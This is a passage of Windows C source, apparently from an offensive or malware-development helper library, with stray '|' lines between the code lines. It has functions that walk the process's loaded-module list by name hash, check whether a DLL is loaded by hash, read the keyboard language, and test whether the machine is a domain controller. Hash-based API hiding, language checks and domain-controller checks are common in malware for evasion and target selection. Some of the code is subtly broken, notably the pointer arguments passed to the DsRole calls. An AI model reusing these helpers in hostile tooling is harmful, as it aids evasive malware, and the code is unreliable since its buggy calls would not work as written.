Module = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink - 16);
|
|
|
|
dwIndexHash = HashStringBasedOnVariantW(Variant, Module->BaseDllName.Buffer);
|
|
|
|
for (; TRUE; dwCount++)
|
|
{
|
|
Module = (PLDR_MODULE)((PBYTE)Module->InMemoryOrderModuleList.Flink - 16);
|
|
if (Module->BaseDllName.Buffer != NULL)
|
|
{
|
|
if (HashStringBasedOnVariantW(Variant, Module->BaseDllName.Buffer) == dwIndexHash)
|
|
break;
|
|
}
|
|
}
|
|
|
|
return dwCount;
|
|
}
|
|
|
|
BOOL IsDllLinkedToModule(STRING_HASH_VARIANTS Variant, DWORD dwHash, BOOL UseAlt)
|
|
{
|
|
PPEB Peb = (UseAlt ? GetPebAlt() : GetPeb());
|
|
PLDR_MODULE Module = NULL;
|
|
DWORD dwIndexHash = 0;
|
|
DWORD dwCount = 0;
|
|
BOOL bFlag = FALSE;
|
|
|
|
Module = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink - 16);
|
|
|
|
dwIndexHash = HashStringBasedOnVariantW(Variant, Module->BaseDllName.Buffer);
|
|
|
|
for (; TRUE; dwCount++)
|
|
{
|
|
Module = (PLDR_MODULE)((PBYTE)Module->InMemoryOrderModuleList.Flink - 16);
|
|
if (Module->BaseDllName.Buffer != NULL)
|
|
{
|
|
if (HashStringBasedOnVariantW(Variant, Module->BaseDllName.Buffer) == dwIndexHash)
|
|
break;
|
|
|
|
if (HashStringBasedOnVariantW(Variant, Module->BaseDllName.Buffer) == dwHash)
|
|
bFlag = TRUE;
|
|
}
|
|
}
|
|
|
|
return bFlag;
|
|
}
|
|
|
|
#pragma endregion
|
|
|
|
#pragma region "Get Keyboard Layout"
|
|
|
|
BOOL GetKeyBoardLayoutInformation(PDWORD LanguageIdentifierForInputLanguage, PHANDLE DeviceHandleToPhysicalLayout)
|
|
{
|
|
DWORD dwError = ERROR_SUCCESS;
|
|
HKL KeyboardLayout = NULL;
|
|
|
|
KeyboardLayout = GetKeyboardLayout(ERROR_SUCCESS);
|
|
if (KeyboardLayout == NULL)
|
|
return FALSE;
|
|
|
|
*DeviceHandleToPhysicalLayout = (HANDLE)HIWORD(KeyboardLayout);
|
|
*LanguageIdentifierForInputLanguage = LOWORD(KeyboardLayout);
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
#pragma endregion
|
|
|
|
#pragma region "Is Domain Controller"
|
|
|
|
DWORD DsRoleIsDomainController(PBOOL IsDomainController)
|
|
{
|
|
typedef enum _DSROLE_PRIMARY_DOMAIN_INFO_LEVEL {
|
|
DsRolePrimaryDomainInfoBasic = 1,
|
|
DsRoleUpgradeStatus,
|
|
DsRoleOperationState
|
|
} DSROLE_PRIMARY_DOMAIN_INFO_LEVEL;
|
|
|
|
typedef enum _DSROLE_MACHINE_ROLE {
|
|
DsRole_RoleStandaloneWorkstation,
|
|
DsRole_RoleMemberWorkstation,
|
|
DsRole_RoleStandaloneServer,
|
|
DsRole_RoleMemberServer,
|
|
DsRole_RoleBackupDomainController,
|
|
DsRole_RolePrimaryDomainController
|
|
} DSROLE_MACHINE_ROLE;
|
|
|
|
typedef struct _DSROLE_PRIMARY_DOMAIN_INFO_BASIC {
|
|
DSROLE_MACHINE_ROLE MachineRole;
|
|
ULONG Flags;
|
|
LPWSTR DomainNameFlat;
|
|
LPWSTR DomainNameDns;
|
|
LPWSTR DomainForestName;
|
|
GUID DomainGuid;
|
|
} DSROLE_PRIMARY_DOMAIN_INFO_BASIC, * PDSROLE_PRIMARY_DOMAIN_INFO_BASIC;
|
|
|
|
typedef DWORD(WINAPI* DSROLEGETPRIMARYDOMAININFORMATION)(LPCWSTR, DSROLE_PRIMARY_DOMAIN_INFO_LEVEL, PDSROLE_PRIMARY_DOMAIN_INFO_BASIC);
|
|
typedef VOID(WINAPI* DSROLEFREEMEMORY)(PVOID);
|
|
|
|
HMODULE hLibrary = NULL;
|
|
DSROLEGETPRIMARYDOMAININFORMATION DsRoleGetPrimaryDomainInformation = NULL;
|
|
DSROLEFREEMEMORY DsRoleFreeMemory = NULL;
|
|
PDSROLE_PRIMARY_DOMAIN_INFO_BASIC Buffer = 0;
|
|
DWORD dwError = ERROR_SUCCESS;
|
|
*IsDomainController = FALSE;
|
|
|
|
hLibrary = LoadLibraryW(L"Netapi32.dll");
|
|
if (hLibrary == NULL)
|
|
goto EXIT_ROUTINE;
|
|
|
|
DsRoleGetPrimaryDomainInformation = (DSROLEGETPRIMARYDOMAININFORMATION)GetProcAddress(hLibrary, "DsRoleGetPrimaryDomainInformation");
|
|
DsRoleFreeMemory = (DSROLEFREEMEMORY)GetProcAddress(hLibrary, "DsRoleFreeMemory");
|
|
|
|
if (!DsRoleGetPrimaryDomainInformation || !DsRoleFreeMemory)
|
|
goto EXIT_ROUTINE;
|
|
|
|
if (DsRoleGetPrimaryDomainInformation(0, DsRolePrimaryDomainInfoBasic, Buffer) != ERROR_SUCCESS)
|
|
goto EXIT_ROUTINE;
|
|
|
|
if (Buffer != NULL)
|
|
{
|
|
if (Buffer->MachineRole == DsRole_RolePrimaryDomainController)
|
|
*IsDomainController = TRUE;
|
|
}
|
|
|
|
EXIT_ROUTINE:
|
|
|
|
dwError = GetLastError();
|
|
|
|
if (hLibrary)
|
|
FreeLibrary(hLibrary);
|
|
|
|
if (Buffer)
|
|
DsRoleFreeMemory(&Buffer);
|
|
|
|
return dwError;
|
|
}
|
|
#pragma endregion |